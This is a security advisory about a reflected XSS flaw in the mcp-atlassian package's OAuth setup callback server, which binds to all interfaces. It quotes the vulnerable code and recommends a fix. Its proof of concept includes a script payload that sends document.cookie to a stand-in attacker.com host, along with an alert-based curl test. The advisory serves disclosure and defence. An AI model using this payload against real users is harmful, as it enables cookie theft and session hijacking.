PT-2026-105846 · Pypi · Mcp-Attlasian

Publicado

2026-10-01

·

Atualizado

2026-10-01

CVSS v3.1

5.4

Média

VetorAV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Summary

The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.

Details

The vulnerability exists in the CallbackHandler class in src/mcp atlassian/utils/oauth setup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
python
# src/mcp atlassian/utils/oauth setup.py:63-66
if "error" in params:
  callback error = params["error"][0]
  callback received = True
  self. send response(f"Authorization failed: {callback error}")
Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in send response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
python
# src/mcp atlassian/utils/oauth setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
  <p>{message}</p>
</div>
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
python
# src/mcp atlassian/utils/oauth setup.py:167
httpd = socketserver.TCPServer(("", port), handler)
This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
python
# src/mcp atlassian/utils/oauth setup.py:84-86
self.send response(status)
self.send header("Content-type", "text/html")
self.end headers()

PoC

Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run oauth setup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
bash
# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup

# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"
The response HTML will contain:
html
<p>Authorization failed: <script>alert(document.domain)</script></p>

Impact

  • JavaScript execution in the victim's browser context during the OAuth setup flow.
  • While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
  1. The server binds to all interfaces, making it accessible from the local network.
  2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
  3. During this window, any crafted request triggers the XSS.
  • An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.

Recommended Fix

1. HTML-escape the message before injecting into the template:
python
# src/mcp atlassian/utils/oauth setup.py
import html

def send response(self, message: str, status: int = 200) -> None:
  """Send response to the browser."""
  self.send response(status)
  self.send header("Content-type", "text/html")
  self.send header("X-Content-Type-Options", "nosniff")
  self.send header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'")
  self.end headers()

  # Escape user-controlled content before HTML injection
  safe message = html.escape(message)

  html content = f"""
  ...
      <div class="message {"success" if status == 200 else "error"}">
        <p>{safe message}</p>
      </div>
  ...
  """
2. Bind the callback server to localhost only:
python
# src/mcp atlassian/utils/oauth setup.py:167
# Change from:
httpd = socketserver.TCPServer(("", port), handler)
# To:
httpd = socketserver.TCPServer(("127.0.0.1", port), handler)

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-4093

Produtos afetados

Mcp-Attlasian